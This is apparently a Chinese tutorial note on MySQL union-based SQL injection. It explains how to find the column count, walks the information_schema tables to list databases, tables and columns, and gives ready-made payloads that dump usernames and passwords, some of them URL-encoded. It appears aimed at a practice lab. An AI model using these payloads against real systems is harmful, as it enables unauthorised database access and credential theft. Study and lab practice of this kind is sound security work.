联合查询
2023-4-18
| 2023-4-18
0  |  0 分钟
type
status
date
slug
summary
tags
category
icon
password
联合查询
2022年11月21日
 
union联合查询前后语句选择的列数要相同,在查询时前语句查询的结果不存在则会将后语句显示出来
可以用order by获得列数
判断字段列数后,使用前列不存在的数据,查看回显字段位置
  • 1 union select 1,2,3 --+
information_schema库
在mysql5.2版本以上加入了information_schema库,作为元数据库,这个库里的schemata,tables,column表分别存放着数据库的库,表,字段信息。
1.information_schema.schemata表: 字段schema_name为库名
2.information_schema.tables表:table_schema和table_name字段分别为视图所在库名 和表名就可以了。
3.information_schema.columns表:table_schema和table_name,column_name字段分别为视图所在库名 和表名,列名就可以了。
table_name :表名
column_name :库名
table_schema :数据库名
常用内嵌函数
user() # 当前用户
version() # 数据库版本
database() # 当前数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
查询数据库
group_concat():关键字,将结果分组打印。
内嵌函数查询:database()
在联合查询中添加查询数据库语句
union select 1,database(),3 --+
notion image
所有数据库查询:
查询语句:
select group_concat(schema_name) from information_schema.schemata
将查询语句构造为:
  • 1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
notion image
爆表
查询语句
select group_concat(table_name) from information_schema.tables where table_schema='security' 即使用上方第二种方式在information_schema.tables表中查询数据库。数据库名可以用 table_schema=database()和数据库的ASCII码(例如: table_schema=0x64767761)代替。
将查询语句构造进原查询
  • 1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
爆字段
查询语句
select group_concat(column_name) from information_schema.columns where table_name='users'and table_schema='security'
将查询语句构造进原查询
  • 1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'and table_schema='security'),3--+
notion image
  • 1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'and table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_name='uagents'and table_schema='security')--+
notion image
查询数据
查询时最好指定数据库名
查询语句
select group_concat(username) from users
将查询语句构造为
  • 1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)
  • -+
notion image
  • 1' union select 1,group_concat(username,":",password),3 from users --+
notion image
扩展
字符十六进制
0x3a
冒号:
0x3C,0x68,0x72,0x2F,0x3E
HTML 中换行符<hr/>
  • 1%27%20union%20select%201,group_concat(username,":",password,"<hr/>"),3%20from%20users%20--%20+
limit 语法
limit [位置偏移量],显示长度
位置偏移量可以理解为跳过前 N 条记录,或从第 N 条记录开始,往后显示 N 条记录。
例1:取出从第0个位置开始,取3条记录;
select * from users limit 0,3;
代码审计
  • SQL
  • 代码审计
  • 模板引擎和Velocity模板注入漏洞服务器跨站请求伪造(SSRF)
    目录